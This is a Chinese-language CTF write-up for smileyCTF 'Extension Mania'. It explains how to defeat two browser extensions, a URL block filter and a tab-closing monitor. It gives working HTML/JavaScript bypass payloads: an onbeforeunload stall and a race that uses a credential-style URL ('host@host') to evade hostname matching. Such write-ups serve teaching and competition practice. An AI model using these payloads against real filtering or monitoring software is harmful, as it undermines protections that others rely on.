xss 浏览器插件绕过 -- smileyCTF Extension Mania

发布于:2025-06-18 ⋅ 阅读:(21) ⋅ 点赞:(0)

题目内部有一个hook,我们可以自定义容器coolctfgames.localhost的返回

// 根路由处理
app.get('/', (req, res) => {
    // 检查主机名是否匹配配置
    if(req.get("Host") == config.host || req.get("Host") == config.host + ":" + config.port){
        res.send(customHtml);
    }else{
        // 如果主机名不匹配,返回更新页面
        res.sendFile("templates/update.html", { root: process.cwd() });
        return;
    }
});

我们需要绕过两个浏览器拓展逻辑

        // 检查网站是否仍在运行
        if(currentUrl.host == config.host || currentUrl.host == config.host + ":" + config.port){
            console.log("Flag conditions met.");
            shouldGiveFlag = true;
        } else {
            // 用于本地调试
            console.log("Bot did not reach the expected host:", currentUrl.host, pageUrl);
        }
// Bot 状态检查接口
app.get("/bot/status", (req, res) => {
    if(bot.shouldFlag()){
        // 如果满足条件,返回 flag
        res.json(process.env.FLAG || ".;,;.{placeholder_flag}");
    }else{
        // 否则返回 bot 运行状态
        res.json(bot.canRunBot());
    }
});

拓展1


  1. 过滤配置:
  • 扩展使用硬编码的filterConfig配置对象,包含一系列规则

  • 每条规则由hostname(主机名)、action(动作)和reason(原因)组成

  • 特别注意:"coolctfgames.localhost"被设置为block(阻止)

  1. URL解析器:
  • 实现了一个自定义的URLParser类来解析URL

  • 可以从URL中提取protocol、host、hostname、port、pathname、search和hash等部分

  • 提供了params()、updateSearch()、setQueryParam()等方法来操作URL参数

  1. 拦截请求机制:
  • 通过chrome.webRequest.onBeforeRequest监听器拦截所有网络请求

  • 对每个请求调用filterRequest函数进行过滤处理

  • 使用正则表达式验证URL格式:/^([a-zA-Z]+://)([a-zA-Z0-9_~-.:](/.))$/

  1. 过滤逻辑:
  • 提取请求URL的hostname

  • 在filterConfig.rules中查找匹配该hostname的规则

  • 如果找到规则且action为"block",则重定向到自定义的阻止页面

  • 重定向URL包含被阻止的hostname和阻止原因作为参数

  1. 阻止页面:
  • 当请求被阻止时,用户会被重定向到block_page.html

  • 重定向URL包含参数:?hostname=被阻止的域名&reason=阻止原因


/**
 * 过滤请求的函数
 * @param {chrome.webRequest.OnBeforeRequestDetails} details - 请求详情
 * @returns {chrome.webRequest.BlockingResponse | void} 阻塞响应或undefined
 */
function filterRequest(details){
    console.log("正在过滤请求:", details);
    const url = details.url;
    // 验证URL格式,跳过内部请求
    const parsed = (new URLParser(url));
    const match = parsed.host.match(
        /^([a-zA-Z]+:\/\/)*([a-zA-Z0-9\_\~\-\.\:]*(\/.*)*)$/
    );
    if(!!match){
        const hostWithoutPort = parsed.hostname;
        const rule = filterConfig.rules.find(r => r.hostname === hostWithoutPort);
        if(!rule) return;
        if(rule.action === "block"){
            // 重定向到自定义页面
            return {
                redirectUrl: `${chrome.runtime.getURL("block_page.html")}?hostname=${encodeURIComponent(hostWithoutPort)}&reason=${encodeURIComponent(rule.reason)}`
            };
        }
    }else{
        throw new Error("无效的主机名");
    }
}

拓展2的逻辑相对简单,核心逻辑为

async function tick(){
    const tabs = await queryAsync({});
    for(let tab of tabs){
        if(tab.url){
            const url = new URL(tab.url);
            if(url.hostname === "coolctfgames.localhost"){
                // 警告:学生正在玩游戏!=O =O =O
                console.log("正在关闭标签页:", tab.url);
                await chrome.tabs.remove(tab.id);
                chrome.notifications.create("",{
                    type: "basic",
                    title: "Good Guardian",
                    message: "标签页已关闭。",
                    priority: 2,
                });
            }
        }
    }
}

方案1: 中断

<button id="free-click">free-click</button>
<script>
  window.onbeforeunload = () => "stay"
</script>
  1. 卡住标签页关闭操作

    • window.onbeforeunload 事件处理器返回字符串时,会触发浏览器的"确认离开页面"对话框
    • 在自动化浏览器环境中(如Puppeteer),这种对话框会导致关闭标签页的操作被挂起
    • chrome.tabs.remove() 函数会被暂停执行,无法完成
  2. 绕过studentmonitoring扩展

    • studentmonitoring扩展通过 chrome.tabs.remove(tab.id) 尝试关闭包含目标域名的标签页
    • 但由于onbeforeunload处理器,关闭操作被阻止
    • 标签页依然保持打开状态,URL仍然是coolctfgames.localhost

方案2: 条件竞争

<script>
  // 定义异步睡眠函数,模拟等待效果
  async function sleep(ms) {
    // 返回Promise,使用setTimeout在指定毫秒后resolve
    await new Promise((resolve) => setTimeout(resolve, ms));
  }

  // 自执行异步函数(IIFE)
  (async () => {
    // 打开新窗口/标签页访问指定URL
    await open("http://www.baidu.com.fake");
    
    // 等待3000毫秒(3秒)
    await sleep(3000);
    
    // 3秒后重定向当前页面到特殊格式URL
    // 注意:此URL格式包含凭据信息,可能存在安全风险
    window.location.href =
      "http://coolctfgames.localhost";
  })(); // 立即执行此异步函数
</script>

<script>
  // 定义并立即执行一个异步函数(IIFE)
  (async () => {
    // 等待200毫秒(0.2秒)的延时
    await new Promise((resolve) => setTimeout(resolve, 200));
    
    // 连续打开三个新窗口(可能被浏览器拦截)
    open("http://www.baidu.com.fake?1"); // 带查询参数?1
    open("http://www.baidu.com.fake?2"); // 带查询参数?2
    open("http://www.baidu.com.fake?3"); // 带查询参数?3
    
    // 将当前页面重定向到特殊格式的URL
    window.location.href =
      "http://coolctfgames.localhost:3000@coolctfgames.localhost:3000";
  })(); // 立即执行此异步函数
</script>

网站公告

今日签到

点亮在社区的每一天
去签到